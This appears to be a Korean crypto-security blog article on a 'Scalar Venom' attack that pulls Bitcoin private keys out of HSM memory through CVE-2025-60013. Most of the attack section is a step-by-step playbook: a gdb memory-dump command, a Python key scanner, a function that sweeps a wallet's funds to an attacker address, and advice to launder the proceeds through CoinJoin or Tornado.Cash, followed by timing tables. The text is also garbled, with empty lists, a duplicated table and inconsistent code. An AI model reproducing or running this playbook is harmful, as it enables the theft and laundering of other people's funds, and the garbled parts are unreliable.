Scalar Venom과 CVE-2023-39910은 암호화 산업 보안의 전환점입니다: 메모리 내 데이터 지속성 이론이 수백만 달러와 수천 개의 비트코인에 달하는 손실을 초래하는 실제 재앙으로 확대되었습니다. 이 문제는 패치로 해결할 수 없습니다. 이는 아키텍처상의 모순입니다: 메모리 관리와 RAII가 없는 현대 C/C++ 암호화는 필연적으로 중요한 인프라의 손상을 초래합니다. 업계에는 단 하나의 길만 남아 있습니다: 메모리 안전 언어로의 전환과 개인 키 관리의 혁명적인 개편입니다.
최종 평가 : Scalar Venom은 단순한 이론적 위협이 아니라 입증된 광범위한 익스플로잇입니다. 메모리 안전 언어와 RAII 프레임워크가 없는 모든 암호화 인프라는 손상 위험에 확실히 노출되어 있습니다. 새로운 기술로의 마이그레이션은 즉시 시작되어야 합니다.
1단계: HSM 메모리 접근 권한 획득
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
2단계: 고엔트로피 영역 스캔
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
3단계: 복구된 개인 키 검증
python:
from ecdsa import SigningKey, NIST256p
def validate_and_generate_address(potential_key):
"""Converts recovered scalar to Bitcoin address"""
try:
# Uses secp256k1 instead of NIST256p
privkey = potential_key.hex()
# Generate public key via elliptic curve point multiplication
# P = k * G, where k = private key, G = generator point
public_key = generate_public_key(potential_key, secp256k1)
# Hash public key to get address
address = public_key_to_address(public_key)
return address, potential_key
except:
return None, None
4단계: 자금 이체
python:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Creates and signs transaction to withdraw all funds
from compromised address
"""
# 1. Get UTXO for address from blockchain
utxos = blockchain_api.get_utxos(bitcoin_address)
# 2. Create transaction (withdraw all funds to attacker address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
# 3. Sign with recovered private key
tx.sign(recovered_private_key) # ECDSA signature using compromised key
# 4. Broadcast to Bitcoin network
blockchain_api.broadcast_transaction(tx)
5단계: 흔적 제거
복구된 자금은 법의학적 분석을 방해하기 위해 즉시 CoinJoin/Tornado.Cash를 통해 혼합됩니다. keyhunters
확장성: 클라우드 컴퓨팅(AWS, Google Cloud)을 사용하면, 1000개 이상의 메모리 덤프를 병렬로 처리할 수 있으며 , 수천 개의 개인 키를 동시에 처리할 수 있습니다 .

[Attacker]
↓
[CVE-2025-60013: HSM Init with shell-metacharacters]
↓
[F5OS-A FIPS Module: password handling, scalar creation]
↓
[Scalar Venom: multiple copies of private keys in memory]
↓
[HSM Crash / Partial Init Failure: memory uncleared]
↓
[Memory Dump: capturing memory state]
↓
[Forensic Scanning: BitScanPro finds high-entropy regions]
↓
[Key Validation: secp256k1 curve check]
↓
[Address Generation: Bitcoin address creation]
↓
[Fund Transfer: signing and broadcasting transaction]
↓
[Victim Loss: total loss of fund control]
FIPS 140-2(및 FIPS 140-3) 인증은 다음을 요구하지 않습니다:
이는 개발자가 추가 보안 조치를 구현하지 않는 한 “FIPS 인증” HSM이라도 Scalar Venom에 취약하다는 것을 의미합니다.[24]
Scalar Venom 공격 은 특히 CVE-2025-60013과 같은 HSM 초기화 취약점과 결합될 때 비트코인 인프라에 심각한 위협 이 됩니다. 이 공격은:
비트코인 시스템의 보안을 보장하려면 하드웨어 메모리 보호 (Intel SGX, ARM TrustZone), 모든 임시 버퍼의 명시적 세분화 , 암호화 라이브러리의 RAII 패턴 을 갖춘 아키텍처로의 마이그레이션이 중요합니다.
Scalar Venom 공격은 특히 HSM 초기화 취약점 CVE-2025-60013과 결합될 때 전 세계 비트코인 생태계에 치명적인 취약점을 나타냅니다. 이 다층 공격 체인은 암호화 신뢰 모델을 근본적으로 훼손하며 다음과 같은 실존적 위험을 노출합니다:
메모리 누수를 통한 개인 키의 완전한 손상을 가능하게 하며, 고급 하드웨어 보안 모듈조차 우회하고 영향을 받는 시스템을 완전히 무방비 상태로 만듭니다.
손상은 영구적이며 되돌릴 수 없습니다: 개인 키가 한번 추출되면 복구할 수 없으며, 이에 의존하는 모든 자금은 즉각적인 손실 위험에 처하게 됩니다.
이 공격은 확장 가능하며 자동화될 수 있어 엄청난 수의 비트코인 노드와 지갑을 동시에 타격할 수 있으며, 잠재적 손실이 기하급수적으로 증가합니다.
은밀한 특성으로 인해 시스템 로그나 성능 지표에 눈에 띄는 흔적이 남지 않으며, 기존의 탐지 및 보호 메커니즘으로는 충분하지 않습니다.
이 치명적인 위협을 완화하려면 메모리 안전 아키텍처로의 긴급 마이그레이션이 필요합니다 . 여기에는 하드웨어 기반 메모리 보호(예: Intel SGX 또는 ARM TrustZone), 모든 암호화 작업 중 모든 임시 버퍼의 엄격한 0 초기화, 핵심 소프트웨어 라이브러리에서의 강력한 RAII 패턴 구현이 포함됩니다. 이러한 강력한 아키텍처 개혁을 통해서만 비트코인 인프라의 장기적인 무결성과 보안을 현실적으로 보장할 수 있습니다.
| 프로세스 | 시간 | 장비 |
|---|
| 메모리 덤프 획득 | 5-30초 | 방법에 따라 다름 |
| 16GB 덤프 스캔 | 2-5분 | MacBook Air (M1) |
| 1000개 후보 키 검증 | 30초 | MacBook Air (M1) |
| 주소 생성 | 10초 | MacBook Air (M1) |
| 자금 이체(브로드캐스트) | < 1초 | 인터넷 |
| 완전한 침해를 위한 총 시간 | < 10분 | MacBook Air (M1) |
| 측면 | 등급 | 비고 |
|---|
| CVE-2025-60013 (HSM 초기화) | CVSS 5.7 (중간) | 공식적으로는 낮지만 진입점 역할을 합니다 |
| Scalar Venom Attack | CVSS 8.5+ (높음/치명적) | 사실상 치명적인 영향 |
| 결합 공격 | CVSS 9.5+ (치명적) | 개인 키 완전 손상 |
| 손상 복구 | 불가능 | 돌이킬 수 없는 자금 손실 |
| 프로세스 | 시간 | 장비 |
|---|
| 메모리 덤프 획득 | 5-30초 | 방법에 따라 다름 |
| 16GB 덤프 스캔 | 2-5분 | MacBook Air (M1) |
| 1000개 후보 키 검증 | 30초 | MacBook Air (M1) |
| 주소 생성 | 10초 | MacBook Air (M1) |
| 자금 이체(브로드캐스트) | < 1초 | 인터넷 |
| 전체 완전 손상까지 총 시간 | < 10분 | MacBook Air (M1) |